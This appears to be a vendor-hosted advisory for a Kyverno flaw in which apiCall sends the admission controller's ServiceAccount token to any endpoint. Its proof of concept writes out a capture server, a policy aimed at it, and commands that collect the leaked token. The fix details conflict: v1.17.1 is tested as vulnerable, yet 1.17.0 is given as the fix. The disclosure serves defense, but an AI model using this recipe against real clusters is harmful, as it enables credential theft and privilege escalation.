GHSA-8wfp-579w-6r25 — kyverno
HIGHGHSA-8wfp-579w-6r25 is a high-severity (CVSS 7.7) Information Exposure vulnerability in github.com/kyverno/kyverno. A fix is available for github.com/kyverno/kyverno — see the affected versions and patch details below.
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8wfp-579w-6r25.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-8wfp-579w-6r25 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/kyverno/kyvernoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
Details
Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:
/var/run/secrets/kubernetes.io/serviceaccount/token
and injects it into every HTTP request as:
Authorization: Bearer <token>
This occurs when no explicit Authorization header is defined in the policy.
Root cause
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
This logic introduces several issues:
- Implicit credential forwarding to arbitrary endpoints
- No trust boundary validation (external/internal distinction)
- Undocumented behavior
- Header.Add instead of Set allows duplication
- No token sanitization (potential trailing newline)
PoC
Preconditions
- Kyverno installed (v1.17.1 tested)
- A policy using
apiCall.service.url
Step 1 — Deploy capture server
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
Step 2 — Create policy
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
Step 3 — Trigger
kubectl run test --image=nginx
Step 4 — Observe token
kubectl logs capture
Output:
Authorization: Bearer <SA_TOKEN>
Impact
Vulnerability class
- Credential exposure / leakage
Impact details
- Exposure of Kubernetes ServiceAccount token
- Token grants:
- Full control over Kyverno policies
- Ability to create/delete webhooks
- Read cluster-wide resources
- Privilege escalation and persistence
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kyverno/kyverno | all versions | 1.17.0go get github.com/kyverno/kyverno@v1.17.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/kyverno/kyverno to 1.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8wfp-579w-6r25 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8wfp-579w-6r25 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-8wfp-579w-6r25. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8wfp-579w-6r25 in your dependencies?
O3 Security finds GHSA-8wfp-579w-6r25 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.